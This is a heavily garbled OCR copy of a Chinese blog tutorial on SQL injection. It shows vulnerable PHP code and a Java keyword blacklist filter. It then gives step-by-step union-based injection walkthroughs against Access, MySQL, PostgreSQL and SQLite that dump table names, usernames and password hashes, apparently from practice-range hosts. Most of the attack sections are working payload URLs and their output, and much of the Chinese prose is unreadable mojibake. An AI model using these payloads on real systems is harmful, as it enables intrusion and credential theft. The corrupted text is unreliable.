#AR! BBH - \AF - bR — 3R ESQLE A FTR R E &
£ R A H

EE B G E F 2021-10-24 13:06:30 KA 268
RER: M2 BE# WEBKEIE &R 1024585 A o
FRAUE B : ASCAHEERAISCE, B CC 4.0 BY lAUHMY, HBiEH LR CHAsEMARER.
ACEERE: https://blog.csdn.net/weixin_42250835/article/details/120932629

FERAL

85 & 32 T
W £

Appscan

WEB

26 F3CE 12173
TP &R

XERZR

WEB I BB IE A 2 > & 3
WE B B I 7 i 4% 5
PHPRIGHHFAEKNRAR B SR EZ AKX R
SQLEN IR R 2
256 18] B B AR A 451 43 B S QLI NI VR 2 20 ] 72 A=
H R B EEEN
B JRA6 HF W R B A FEE N7 3K
P NFIFRF 0 TUTH A B AFAE R A 7T REAFAETEN
wnfrityE. BERESQUEANIETH
FIWTSQLIEARS, URLHiUEZFF S A KM4? >HSH


https://blog.csdn.net/weixin_42250835
https://blog.csdn.net/weixin_42250835/category_11123904.html
https://blog.csdn.net/weixin_42250835/category_11134620.html
https://so.csdn.net/so/search/s.do?q=1024%25E7%25A8%258B%25E5%25BA%258F%25E5%2591%2598%25E8%258A%2582&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=WEB%25E6%25BC%258F%25E6%25B4%259E%25E6%2594%25BB%25E9%2598%25B2&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=SQL%25E6%25B3%25A8%25E5%2585%25A5&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by/4.0/
https://blog.csdn.net/weixin_42250835/article/details/120932629
https://blog.csdn.net/weixin_42250835/category_11123904.html
https://blog.csdn.net/weixin_42250835/category_11134620.html

RIS (R B8 R A 2 [ B 22 S M AT TN
SQLYVEN-Fuzz 844 5681
AccessHUE FE B A &R IEN
MYS QL £ 5 2 33 A\ 30 A1

BEHIHMYSQLYE N R 52451
PostgreS QL ¥4 P A 3 1

B 837 PostgreSQLIE N I 7~ SL
SQLite i i N\ A il F A
DB 2% 2 9 N\ A F1

835 #L37 DB 23U FE v N\ v s S 41
Oracle$ & FEBL&TEN

2 37 Oracle B8 a1 N\ T 7~ SE 41
Mongodb i # 2 P &

S ¥ Mongodb £ FE v N\ 5 7 2
Sybase##E B E1EAN

B E I Sybase i FE i N I8 7~ 5L 6
HISQLMAP 5| H i) /N 4
SQLMAP¥ Ffn & B45

HIBURLE B AEAEEN B[R HEER/AURL]
B SRR B)-gm i M E N -SQLMAP T E iR

WRE SL 37 AT

PHPEP_REQUEST\ \_POST\ $\_GETB‘J|Z%'J
get5postiE R A [F

gety FAe AT O RF
post 7 &
$\_getikHigetHiiE
$\_postiREXpost#i#E
POSTH: -2 §E37-SQLIE N IR TR W[ & F 5id]
RHEY-SQUIENFRMR[E R 5] 8 shLE A [-data]
B HY-SQUIEANRFIR[E R 5] 8 sibEN[]
T3 e R B e R
HTTPL & [HOSTIEA
BHEEY-SQUIENFRMRHTTPLEN)
XFF#EA[X-Forwarded-For]

B 8037-X-Forwarded-ForyE A IR IR 24 [SQLMAP— 3 #4]
SQLEA - BiE

Fi /R BIE - Sqlilabs-less53: A



i A1 B VE - Sqlilabs-less9yE A il
WAEH VE - Sqlilabs-less53: AR,

exp()

floor()+rand()
updatexml()
extractvalue()
FoAt b %
HEBIEN
e B VENSLH - Sqlilabs-less38
HEZVEN-BUUCTF-[52 M HF 2019] B8 & 13- = 61 P
ZIREN
ZIRHENSLH - Sqlilabs-less24
ZIRENSLFH - CTF - [RCTF2015]EasySQL
DnslogiE AGEAFI AT/, FA LB Z)
S Ui
ERURIEAN
MYSQL# fE-F TIE A0 b TR 3B
MYSQLEE F[=AR]
SQLMAP = B FRENH F iy &
SQLIEN-Z 2 A B % B 45

R R 0 2 T DA B2 R ST

WE B i B B IE 5 > % 5

WEBJRIRE G- SQLIEANRHE ., HE A, SEkERE

WEBIIR I BBl -HR 35 A [F) 5048 P 8 2L 2 IR ) 22 S M EAT VRN

WEBRFR BB -HR 48 M 37 B3 THEN-POSTIEAN . HTTPLEEA[HOST]. XFFEA
WEBWRHBF - SQLIEN - BiE

WEBWRHBF - SQLIEA - EZHEN

WEBWRHABF - SQLIEA - ZIKEAN

WEBJR A B - SQLIEA - DnslogiE A

WEBRH BB - SQLIEN - FARIEAN

WEBIRIAZES - SQLIEN - 224 B B i 45

[EEXEZA, HRiTHREMERNRR]


https://blog.csdn.net/weixin_42250835/article/details/119079415
https://blog.csdn.net/weixin_42250835/article/details/119081436
https://blog.csdn.net/weixin_42250835/article/details/119156420
https://blog.csdn.net/weixin_42250835/article/details/119171263
https://blog.csdn.net/weixin_42250835/article/details/119204761
https://blog.csdn.net/weixin_42250835/article/details/119281286
https://blog.csdn.net/weixin_42250835/article/details/119319049
https://blog.csdn.net/weixin_42250835/article/details/119321419
https://blog.csdn.net/weixin_42250835/article/details/119348084
https://blog.csdn.net/weixin_42250835/article/details/119348129

WEBI i B Bjj IE# % X %

FER: WRKERE, PERER, THAR BRECK B,

IR BMRRRREIER. RS, SARERBARN.

MAR: WREKRZERATARTN, TR, FIE, PR PRI R B #EH07.

YRR R R B e A B TR VR B T O R R O K

DL ERT i BRNEER LK), ERMBIMNT, BXEOERERET —NERNEITE, BEENRRAMBEFERREHE I, HRAELE

WEBX B 3 ¥l ) 4= J5i

R R BR 4

R RE LR EY RBTAKRE, RNRKITAESHRE LS ENREA TARKEM.

FLREATHEEEN, FRREATXHRE, FRREHAT RGNS, REEEHRNELSMRRZREXRZHA?
R 7 A B R R 0 S (8 B BA AR B IR B B  BRNSQUIE NI, SR 3 B BI04 P 2 3R Ve R AR SR R 4K

R RRFKRSE R . PFrolERIE, BATBA DOES R EE R AR MR, ST DRI ARG T 0L 2 R 4.

HRT A
— R T, RRAEREAAERIR T, SR — TS RE, EESSREZR, FolA SRR
TS~ S SQUIE AR ORI DL LU S R, WA IR

WL TR

HIMR AR (XA WA SIE) TR A AR IR, o8 T — LB R .

Bt U — R 5 A7 FE R EL WA

PHPRAS H EE R F R B 5B 2 H KX &

CADVWA (P4 4% £ 22 JF B IR TR S8 7 72 B ] BB SQLIE « S EAR IR R ARIEEAT 260] (SEBR EBIT R 2B ABBE IR
M, RGOS, mRER, dREITE)



1 =<?php

2

3 pif( isset( $ REQUEST[ 'Submit' 1 ) ) {

4 // Get input

5 [Sid]= $_REQUEST[ 'id' 1;//FI#Z3A& 1D, A 15 HE

6

7 // Check database

8 Squery = "SELECT first name, last name FROM users WHERE user id = vSqd
9 Sresult :|mysqli_gdery$$GLOBALS["i _mysgli ston"], $query ) or die( '<pre>' . ((is
10
11 // Get results
1 while( Srow = mysqgli fetch assoc( Sresult ) ) |
63 // Get values
Ikt $first = $row["first name"];
5 $last = Srow["last name"]:
16 -
1Ly // Feedback for end user
& S$html .= "<pre>ID: {$Sid}<br />First name: {$first}<br />Surname: {S$Slast}</pre>"
19 }
20
2l mysqgli_close (SGLOBALS[" mysqgli ston"]);
| )

EEFH"SId"HE—NRE, ZRENSHEAIESIGE, ZRE - NTERNZESH; R "$Smysqli_query" R
A"$query" BEAT BHEDATEMEIE, XEBBK T SQUEART, HARUR " Smysqli_query" REBCRAG IR, T2 B %R BT H
K %2 4 ) R B T SQLIE N IR T A o

1 e<?php

7

3 4if( isset([s_posT] 'Upload' 1) )

4 // Where are we going to be writing to?

5 Starget path = DVWA WEB PAGE TO ROOT . "hackable/uploads/";

6 S$target path .= basename( $ FILES[ 'uploaded' ][ 'name' ] );

7

8 // Can we move the file to the upload folder?

9 & if( E;k SOENLES [ hplioaded® S tnpin=ame S VANS Farge i pai=ns ) 1)
10 No

1L Shtml .= '<pre>Your image was not uploaded.</pre>';

1 }

ibsi i else {

14 // Yes!

=S Shtml .= "<pre>{Starget path} succesfully uploaded!</pre>";
16 }

I - |
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TA.
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1. P /BaEE B Ehes s8R e, WESERER .

2. WEBMZFIARBEAT AR L IE, MIMTIERBEH KBS HURNBISARE b AT, AT S B0 i NS e rh gt AT $R 4

SQLIEN JR I L 5 25t B FE B AT 804, SKBLB SR B K, F EERER 2 A SQLIE IR 2 8l $E R 0 B 2 R K 5%
i, XA R — Mg L.

BAME: SQLEANRKFEMRAESRARR, RSMBWERBERFR. MBPHPHIJIAVA, Kt 43 PHPH K HKWEBSQL
FEARIAZ —%, JAVATFRKIWEBSREN Stb—t, XRESHEREN. B TIAVAESHTSFENSG, RREERET
JAVAF R HIWEBN: s> RISQLIE AR . H2—BRHSQLIEANRF, BEASUMESTHEMEMARR, RoMEIEERE
AREFR, XWRIHAHSQLENIFR M EEMBAESBERRMER.
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1 @<?php

2 header ("Content-Type: text/html; charset=utf-8");

3

4

5 | $id=$_GET['id']: /S BEA iAW 4 AF & id

6 $idpage=$ GET['page']:

7

8§ Hif(!is_integer(5id)) {

9 $conn-mysql_connect ('localhost','root', 'root'); / IEEE EE
10 mysql_select db('javawsb-bbs',$conn) ; / IR EEEE I 44 2N avaweb-bss [ HH
11 S5sql="select * from sys_article where id = §id"; /A E X sQLiEf
12 echo 5sgl.'<nhr>"; /5 A Eosgl
13 Sresult=mysql_query ($sql); / /AT Esql L sQLiEa
14 © if (Srow=mysql fetch array(Sresult)){ /X ERAT &5 T R
= echo Srow['title']l.'<hr>'; R .
16 echo Srow|['content'].'<hr>"; {tﬁﬂgﬁig}{: . P . . .
17 ) FHF'E_TEME{J'?E&TE$Id{é“ﬁrx‘ifnldj:ﬁ?i@ﬁﬁqﬂﬁ&ﬂﬁldﬁi TEFE%_ERROB .
18 Helse{ HTESdFESEIEETRIdEY, EEEiERE)javaweb-bbs FHEEESIdINEHIRE
19 echo "ERROR"; £#2SQLiEG), ARHTSQLESL, WEFESSIdEsthiTER, HESEEEN
20 |} titlefs. contentiTHHEB=HE

[§%)
=

F}
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= earmusic . ) N _
E easytalle @ Begin Transaction Text = ¥ Filter l; Sort E\ Import E Export

E ekucms id user_id title author content bublish_date click *
= finecms » 100000 : <p style="font-family:PingFangSC-Regular P020-04-19 17:35

£ finecmsupload 100001 =p style="font-family:8&.quotfont-size:16p: P020-04-19 17:37

£ javaweb-bbs
» % Tables

>
» fx Functions
» @ Queries

& ¢ [P 127.00.1:8081/test.php?id=100000 | Ha v an Qs E;\,

|se|ect * from sys article where id = 100000'

RERERIX RS : BRI
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=

BIRSBZHE, U EAGREE, EhEREEIT, 8L CRSEESTERE, EEUERNNE, tEEER NMOHEEEE, BFRE
FHass—BRER.

< c q12?.0.o.|:susmest_php?idf100001 | a «* @ »O(=s:)

|select * from sys _article where id = 100001 |
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http://127.0.0.1:8081/test.php?id=100000
http://127.0.0.1:8081/test.phprid=100001

http://127.0.0.1:8081/ AurliihtizO

test.php N4
?id NEESHA

100000/100001 N$idTESH H W

BEAPHPRG, BH4E. 24"100000"F1"100001"1E AR (E 4 SidTH ASQLA S ERPITEMR, 4HPATHSQLA

$sql="select * from
$sql="select * from

$sql="select * from
$sql="select * from

sys_article where id
sys_article where id

sys_article where id
sys_article where id

$id";
100000" ;

$id";
100000" ;

RE—TF, WREELS IR D RRIERIIES "100000 union select” X2 /EFE? M FSQLAEEWIEAI MR T

$sql="select * from sys_article where id = 100000 union select";

RERunionR o HIF &K A% U EMSQUEAHRTIREEM, AT EHMAHELA SELECT HAMLERE. WHfiiunion
JETifselect EMIEAHERKSQLEREDWALIEES, MLBEF%KselectiBANEMNGERE

(XEBERFE ARG P RIFSQLAABEAHATIEIE, FUFTUERMERunion TBEEH, & RUEFEELEIE, NTEERBITIERKERRE)

HHRAFH LR, SQUEAKFREBMEM M EEENESRE, AP THUEEXSQLAREARESSHE CAEEANGEE.
ETMARAAEZR, FEGKIE, TUSTEG. REREREHLT, RBURLETHBLRE, ZXRATEEZER,

AW R BHFEEAN
B JR 0 B A W R B AEE A T R

and 1=1 JUTH IE#

select * from sys_article where id = 100000 and 1=1

and 1=2 WHH R GERABEFESQLIEN)
select * from sys_article where id = 100000 and 1=2



S W R 75 A R VRN B B Ay 32 B B AR B4 b 2

&% H 3
or and xor
HHHE-=K
HHRK-=-K
HHR®R-=-RB

and 1=1 FHIE#®

24): select * from table_name where id = 1 and 1=1

Hr“select * from table_name where id = 1”R&ZENEMSQLIEH; “and 1=1"HELRENE. XML LHEK “H H H =E”,
RE“H”, TWHIEH.

and 1=2 TIH4IR

24f]: select * from table_name where id = 1 and 1=2

H“select * from table_name where id = 1”RZFNEMSQLIEA; “and 1=2"H24 R AR,
XeEst R L B B B =, BEYR?, REEHER, RERERGR

(F—EHRER—ESBREHRER, MEDBAMEWEENKE, WAENERE, WHBASREEMAREHEHBR .

MWARAARERE or 1=1 BE or 1=2 WE?

BATRE—T or MZBHEIZHLER

orl-=1
EHE=H
EH =R

RAFNERBRE, XMER TRIEH B MR EFEMH, BREANRETREEE, BANERNEEANETERFEEA.
XHMEAEM or BATHBIHIREA.

&N FFEXF W H N AR WA vl B8 A EEAN
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ATHE:

& X (@ 127.0.0.1:8081 /test.php?id=100000%20dsaaaaaaaaaaaaaaaaaaaaaa {

Mesys articledpiiZE*, Edhid = 100000 dasdasd

- RNV REIETCVAR() BIE2E LSRR, /RETE13/519D: \ phpstudy \, PHPTutorial \ WWW \ test.ph

SRR, SidRBRAIESHE S ELSEH AN T B0EE#TSQUIBANIIT, TEEMKILRZANL=ETRENER, &
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PLESCHIRES AR, EAISQLIEARIAGFERER T, S EiE. BATA PR SQLIE N IRTH K #7588
5, RGP “‘union”s “and”. “exec”. “select"&FREFRIIREIFER;EE; BE £ X"Sid" LB KIS EHEAT B BIFER A
Wi, HEIIE"Sid" B ERRRFEHR B IRER, A MK A R;

B —FIT IR ZRWAFBIE, IUA BIWAFH A — B & 8 A B A A B SGE ARER R« AT A T 5Eng, [RIAEAT LA
A 2B IESQLIEANKIBUR -

— i LL BB F ) 4 B L B T (JAVA)
public static boolean sql_inj(String str){

String inj_str = "'|and|exec|insert|select|delete|update|count]|*|%|chr|mid|master|truncate|char|declare]|;|or|-]|

+,";
String inj_stra[] = split(inj_str,"|");
for (int i=0 ; i &lt; inj_stra.length ; i++ ){
if (str.indexOf(inj_stra[i])&gt;=0){

return true;

return false;

AW SQLIEAR, URDENERFEH AFH? ->FSH
L
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HRENERLTHENEERE SHE
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SQL: A\ -Fuzz i fi F 5 B

“sqlmap B # i 5 8 7E/data/txt/B 4% T - https://github.com/sqlmapproject/sqimap

“8 = Jfuzzdb ¥ ¢ 7E/wordlists-user-passwd/#4& T - https://github.com/fuzzdb-project/fuzzdb

T TR RN REBORE . 4. FIALRNEE, —REAT TN,
AccessHEHE FEBE & &IW B IEAN

YETNEHRE TFOEHRL T, MBS BIED> (ZEFEASPMEET) o EEERZ"MYSQL", “Oracle”. "Mongodb" b4
go

Access¥iE FE B Tasp T KA IR B DNERUKIBHEE . SRR LMD, mdbBdEg X (excelRIEMMBA) , 4
AT E D

accessEUIRELSH

access
x4
LI
o

AccessHHE FEIEN B T B IEMEN, BT CLEN IR & IR A B BRSO, BATHE ZAE B KB I 7 23R
RH .

Z5B: http://127.0.0.1/Production/PRODUCT DETAIL.asp?id=1513
BEATVRI LR FIURLMAE P AR AR IR, 258 i order by fir-& SR A W 24 i T I B it A 2% 1) 7 BUSR .
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 order by 10
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 order by 20
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 order by 22
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 order by 23

HERE"23", Wk, W SIRNTBREERN221 .
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QRS @mime Dz B=s= D==s= BEa=

=T LieR
g
») <« O D- 1 httpy//127.0.0.1/Production/PRODUCT_DETAILasp?id=1513p6200orderd%20by%2023 | I

ioE - @RS @Fsoe Qe Bms= DEesss ERuE
Microsoft OLE DB Provider for ODBC Drivers ‘80004005
[Microscft][ODBC Microsoft Access EZTEERR] Microsoft Jet EERES [EREEE 23 RSl a— 1 Fa=EE=ET.

\Production\PRODUCT_DETAIL asp, line 5

Host by NetBox Version 2.8 Build 4128

FIH"union"BEATERAVEN

BRAVEN:

http://127.08.8.1/Production/PRODUCT DETAIL.asp?id=1513%208union%2@select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
,17,18,19,20,21,22%20from%20admin # 2RAMEMEBFEadming

http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513%20union%20@select%201,2,admin,4,5,6,7,8,9,10,11,12,13,14,p
assword,16,17,18,19,20,21,22%20from%20admin # FEffRadmin®ZiBREME3. 1ISFRABME T FEEadmin, password¥4

LA ERfaccessHudf B o B # LB —FEATT Ko

B hitpy//127.0.0.1/Production/PRODUCT_DETAILasp?id=1513%20union%20select%201,2,3,4,5,6,7.8.9,10,11,12,13,14,15,16,17,18,19,20,21,22%20from%2( 88 4 71 - %,

a: Brire Bl=ss Bessx BEa=

= 3




https//127.0.0.1/Production/PRODUCT DETAILasp?id=1513%20union%20select%201,2,admin,4,5,6,7,89,10,11,12,13,14,password,16,17,18,19,20,21,22' 88 4 ¥ ~

Dz Bas= Dasms EELE

B
Ei admin == =i 28 O
e a48e190fafc257d3

accesstiBEAN (RFLIRIBIT S L IRMABEI) , BRMNFIEFEadming, ERAFAESIAR, BT Kl 6 ' E
A7 IR 4

MA™ES, —H—PERHER, BZRB168M%R, TEEEIES, jHadmin®f6NFR.

http://127.0.0.1/Production/PRODUCT_DETAIL.asp?
id=1513%20union%20@select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19, 20, 21, 22%20from%20admin

http://127.0.0.1/Production/PRODUCT_DETAIL.asp?
id=1513%20union%20@select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15, 16, *%20from%20admin

MAZF W =HMmB R iHadmin, passwdfs B (HERFIKNEHEZEBREERKNRS)

http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a

inner join admin as b on a.id = b.id)

http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=151 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a

inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

HE M IR

30| <body>

31 <TAELE WIDTH="778" BORDER="0" CELLSPACING="0" CELLPADDIN:="0" align="center"»
32 {TR>»

3 ID VALTGN="TCP" ALI:="CENIER »(IN; SR7=§ BOFDER="0"»</TD>

34 TRy

35 <TR VAL IGN="MIDDLE" >

36 1D ALIGH="CENTER" *&nbsp; </ TD>

a TR

38 <{/TABLE>

39 | <be>

40 <table width="800" border="0" align="cemter” cellpadding="1" cellspacing="1" bgcolor="8#0000007>
41 {tr bgoolor="tFFFFFF" align="CENTER":

42 £td width="130" height="20">&%R: </ td>

43 ¢td height="20" width="667"»3{ td>

44 ey

45 <tr bgcolor="H#FFFFFF" alien="CENIER" st¥le="display none”>

46 <td height="20" >FRE: <tdr

47 <td height="20">8 < td>

42 Lt

49 ¢tr bgoolor="#FFFFFF" align="CENTER" style="display nme">

50 (td height="20" 7 RNHE: 1L

51 td height="20" {EGISE] CIRaagE ./ t I

52 e

53 <tr bgeolor="#FFFFFF" align="CEMIER">

54 <td hedght="20" 7 §8: < td>

55 {td height="20">2013/12/6 18: 3d: 46/ td>

56 <ty

57 </tahle> [
58  </body>

59 </htal>



30 <body}
34 <TABLE VIDTH="778° BORDER="0" CELLSPACING="0" CELLPADDING="0" align="cemter”>

32 <TR»
33 {TD VALIGN="TOP” ALIGN="CENTER »<{ING SRC=33 BORLER="0"><¢/TD>
M YR

35 TR VALIGN="MIDDLE" >

36 <TD ALTGH="CENTER" *&nbep; </ TD>

7| YD Iy
38 </TABLE»

39 <br>

40 <table width="800" border="0" align="cemter” cellpadding="1" cellspacing="1" bgcolor="#000000">

i ¢tr bgoolor="#FFFFFF" align="CENTER >

42 <td width="130" height="20">2%- </1d>
43 <td hedght="20" width="#53">3/ td>
44| o>

45 tr bgeolor="HFFFFFF" align="CENTER" style="display nome”>
46 <td height=r20 38 :

47 <td height='20" >adBel 00fafc257d3  </td>

48 it
49 <tr bgeolor="#FFFFFF" align="CENTER" rtyle="dizplay:nome”»
50 <td hedght="20" > RiNAE: < 14>

51 <td heiﬂ.L‘”E

52, <t

53 <tr bgeolor="8FFFFFF”" alig="CENTER"»
54 <td hedght="20">7783: </td>

55 {td hedght="20"3260</1d>

56| </fte>

57 | </table>

58 </body>

58 </ himl>

60

MY SQLE 8 = 5 A\ A 31 1
TEAMYSQUEE FEVE KSR IR 2 8, BT 2 5 T AEMYS QLR e i MUUR B 4«

MYSQL# ¥

BOEFEA = PISSARIEE R
RHE
4
i

HIEAEB = PIhBABIRE
R
54
i

HURFEC = PISBASUIRE
RHE
54
S

LERMNZREAMYSQLEIR EHIR %, HAREFILEES, BOANBRRSL. 54, ERESEEANKEER.
BAA AR BATEZENEE . FNBA A LK K TR X B $E .

MYSQLAIR &



B i R 4

database() H¥IEESL
version()  BIEERAE

user() HIEERF
@@version_compile_os #fEZR%Z:

HRE: Mysql5. 0N FTRAENE TRIBM, R U ERERTAREFRZ.

TEMYSQLSEE LA ERRA B M BIE FE & information_schema, BR—AMNEHEMYSQLITEHBEL, 4, ILEENEEE, K
ZMYSQLSCAFRRAR B4 . Halifkit, RATTLMEBIE#information_schemaKEUIE EHIEEL FTHRLBFILE R, NTHENLIE BT
.

information_schema.schemata® FHFIshcema_name FEE¥iEELEEHE

information_schema.tables® FHi%ltable_name FEERLEEHNER

information_schema.columns®E T Hi%lcolumn_name f#E%1& {5 BHIE

table_schema #EFE4

table_name E%
column_name %4

2 L HMYSQLE A 36 725 5= 41

“http://219.153.49.228:48105/new_list.php?id=1" [&Ef} 3%]

O A FEs| 219.153.49.228:46105fne'.-.'_list.php?fd=‘I|I .

\ XFPLESHEPEN

\ EonisEs

FFERP:

EERET20185F12831H00:00220195181H12:00 (12/ha) #
TENFR, FEBAREHEIDIRAINES, SIS ARSHERP
HHTRGHRME, MBERSTFHRMEITIRE, FrsRmmERETR
=

SIEITETENME, SisnEE,

XWAYRIEEERHV3.0

o HMERE: @i and 1=2 AR EHFAEAR, THARZERW, FEEAR.


http://219.153.49.228:48105/new_list.php?id=1

O (A F=2 | 219.153.49.228:48105/new list.php?id=1%20and%201=2| 1

\
\

MAFBRT, RMNFTEBILEES, BoNFIREL. 54, BdXHEEHANFGERN. RETEREIRNEZERLIE.

o GEIBRAEWHEITIEAN order by HIWi S I BE[1F 1451 #1451

@ XWAYREEEEHVIO0

219.153.49.228:40756/new_list.php?id=1%20and%201=222%20union%2Qselect?:201,2,3,4

o J&EiT database() i %15 2| ##E 4 mozhe_Discuz_StormGroup

NWAYRIETE:

< C A F== | 219.153.49.228:40756/new listphp?id=1%20and%201=222%20union%20select%:201,database(),3,4

ymozhe Discuz StormGroup

o JEId user()eRi i 15 2% FH P root@localhost



e A &

& C A F=2 | 219.153.49.228:40756/new list.php?id=1%20and%201=222%20union%20selectd6201,user(, 3,4

root@localhost, 5

e ) “inforrmation_schema.tables” T %#& F % & mozhe_Discuz_StormGroup T A &% (group_concat()i N IRE AT A
a)=9ii9)

http://219.153.49.228:48105/new_list.php?id=1 and 1=222 union select 1,group_concat(table_name),3,4 from

information_schema.tables where table_schema="'mozhe_Discuz_StormGroup'

L C A FE=| 219.153.49.228:40756/new list.php?id=1%20and%201 =22?‘-n?ﬂur!iun%205&‘lk<IQSEGI_grnu&_(ﬂmaI([db\E_ndme),3,4:.-320f|mrr|%2ﬂirm)rma[iun_s(hemd tables%20where%20table_schema=%27.. B ¥

StormGroup_member,notice

o Hijinformation_schema.columns# Ftable_name A StormGroup_memberf it 5 51 4

http://219.153.49.228:48105/new_list.php?id=1 and 1=222 union select 1,group_concat(column_name),3,4 from

information_schema.columns where table_name='StormGroup_member'

© XWAYHSERRRVS0 *

< C A FR&=E | 219.153.49.228:40756/new list.php?id=1%20and%201=222%20union%20select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20whered%20table_name="%. B
_list.php: group M v g

id,name,password,status

e 3RELStormGroup_member® T #& € ffiIname. password %! () # 4z

http://219.153.49.228:48105/new_list.php?id=1 and 1=222 union select 1,name,password,4 from StormGroup_member



D XWAVHIEBRSV30 *

&« C A F==2 | 219.15349.228:40756/new listphp?id=1%20and%201=111%20union%20select3201,name,password,4%20from%20StormGroup_member

mozhe

356f589a7df439f6f744ff19bb8092¢0

PostgreS QLB P i N\ ks JU A A
FimysqlfENE FTX B, ERERE —X 5], {HEEREEARZH;PostgreSQLEHE 454t 5 mysqlZéfil.
%% https://www.cnblogs.com/she11s/p/12326629.html

PostgreSQLATR /&

BEHRE:

current_database() HuEES
version() BOHE FE IR AR
current_schema() 8 B RUR
relname R4

column_name 314

PostgreSQLEBELAFTE information_schema &

BB % ¥ 37 Postgre SQLVE A i 7R 52 4

http://219.153.49.228:44997/new_list php?id=1 [ E 3]

o [FREHEEERA B RBEITIEN order by HI Wi 51 £ B (15 H 451 45 2R

A FszE | 219.153.49.228:44997 /new list.php?id=1%20union%20select3620null,null,null,null

KT FalFERRYEH

SFEE,:

FE1STF20185E12831H00:0052019561851H12:00 (12207 ) i
ITENFR, FEEBERFEEILSAINES, EhSARERERS
HTRGRE, NERSARAENTERF, sl RERETR

, AETIEERRE, SE5E.,

XWAYEREERAESAVI.0

o @idcurrent database()E ¥15 B ¥R FE 4%


https://www.cnblogs.com/she11s/p/12326629.html
http://219.153.49.228:48105/new_list.php?id=1

http://219.153.49.228:44997/new_list.php?id=-1 union select null,current_database(),null,null

@ XWAVEEEEEEYI0 b

| 219.153.49.228:44997 fnew list.php?id=-1%20union%20select?20null current_database(),null,nul

rmozhedvcms

o iEitrelname&HIE 4

http://219.153.49.228:44997/new_list.php?id=-1 union select null,relname,null,null from pg_stat_user_tables

{B & Postgre SQLEUE o ¥ A 25 mysql 8 FE FR group_concat() R & W4 S S, AT LLEL limit 1 offset 0 % 0 #4784
17 AT IS R

http://219.153.49.228:44997/new_list.php?id=-1 union select null,relname,null,null from pg_stat_user_tables
limit 1 offset ©

I

notice

http://219.153.49.228:44997/new_list.php?id=-1 union select null,relname,null,null from pg_stat_user_tables
limit 1 offset 1

@ AWAYVEIEEEERSVI0

= C A FE==E | 219.15349.228:44997/new list.phpTid=-1%20union%20select%20nullrelname,null,null%20from%20pg_stat_user_tables%20limit%201%200ffse1%201

“reg_users

e j#idcolumn_nameAlinformation_schema.columnsf8 #jreg_users# T 1514



http://219.153.49.228:44997/new_list.php?id=-1 union select null,null,column_name,null from

information_schema.columns where table_name=reg_users

@ NWAVEIEEEEEVI0

C | A FE==£ | 9.153.49.228:44997/new list phpTid=-1%20union%20select¥%20null,column_name,null null%20from%20information_schema.columns%20where%20table_name=%27reg_users%27%20limfi

id

E £ "limit 1 offset 0"#EAT AR 77 X4 51452 id name. passwdi]Fl4

#ifjname. passwd¥iHE

http://219.153.49.228:44997/new_list.php?id=-1 union select null,name,password,null from reg_users

@ XWAYEMREREHRVI0

- c A FE== | 219.153.49.228:44997 fnew list.php?id=-1%20union%:20select%20null name, password,null%20from%20reg _users

mozhe1l

[} B44ba025d72999d4b08686d227bf882

SQLite# 48 B 9 A\ ks 3 R H
https://mww.cnblogs.com/xiaozi/p/5760321.html SQLite F TiFE N 51/

B Hsqlite XX H 2B E—A sqlite_masterfaifik, XELFKERRNE THILR, RINTUERKBELSERERXMRARE M —L&
BIMNBENFER.

sqlite_master®fEH

tepe
name
tbl_name
rootpage

sql XEREREH
http://219.153.49.228:41026/new_list.php?id=1

o ZME, A order by HIWiFIKIBE[S 145 145 R]


https://www.cnblogs.com/xiaozi/p/5760321.html

http://219.153.49.228:41026/new_list.php?id=1 union select 1,2,3,4

XWAVESERESAVI0 X XWAYRIEEEERVIO0 X XWAYEETEEESVI0 X | XWAVREEEERVI0 X |MMNﬁHHE!iiHBD

€ 0 219153492 + ml> FxmmGEOxiss D G~® ¢ & QA m= wBe & @ 5 &8 =
T ~ = @ S0OLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS. ENCODING- HTML- EMCRYPTION- OTHER- XSS+ LFl-
i Load URL [ http://219.153.49.228:41026/new_listphp?id=1junion select 1,2,3,4
<plit URL I_l_
| Execute

[] Pastdata [ | Referrer ¥ OxHEX & %URL &% BASESA BB |.-'-|.-.:-.-.' string to .'PI.".'.E(;'] Insert replacing string)| [ Replace £

JER- LCookies~ » CSS~ (TS~ @BH~ QFREE- EEGIE- Ao J8n- ALR- ME=FRE- LiE0E-
PETCHIFT - Services | it Since: New Site Rank: 14148 Site Report Bl [CN] CHINANET Chonaging province network

2

=1

o HEHMRAMERSQLIER

http://219.153.49.228:41026/new_list.php?id=1 union select 1,name,sql,4 from sqlite_master

XWAVESEEEHAVI0 X XWAYRIEEEERVIO0 X XWAYEETEEESVI0 X | XWAVREEEERVIO0 X |Mﬂﬂﬁﬂﬁ!ﬂﬂﬂﬂﬁﬂ

B 219153492 mi> Examcioiiex lllZ2G~® ¢ & Q w= wEe & A 15 &6 - &~
T ~ = @ S0LBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS. ENCODING- HTML- EMCRYPTION- OTHER- XSS- LFI-

Load URL [ http://219.153.49.228:41 UZE,‘new_Iist.pl-np?id:1Iuniun select 1,name,sql4 from sqlite_master

Split URL

Execute

[] Postdata [ Referrer €% OxHEX X @& %URL 3 4 BASEG4 3B |.-'-|_:.=.-.- string to erl
ER- LCookiesw 2 (55~ ]~ @mEH~ QFEEE~ EEMIE- Finc- J8- AR~ BESFFE- ER-
[ETCREFT - Servicesr | eieiemd Since: New Site Rank: 14148 Site Report Bl [CN] CHINANET Chongging province network

WSTMart_reg

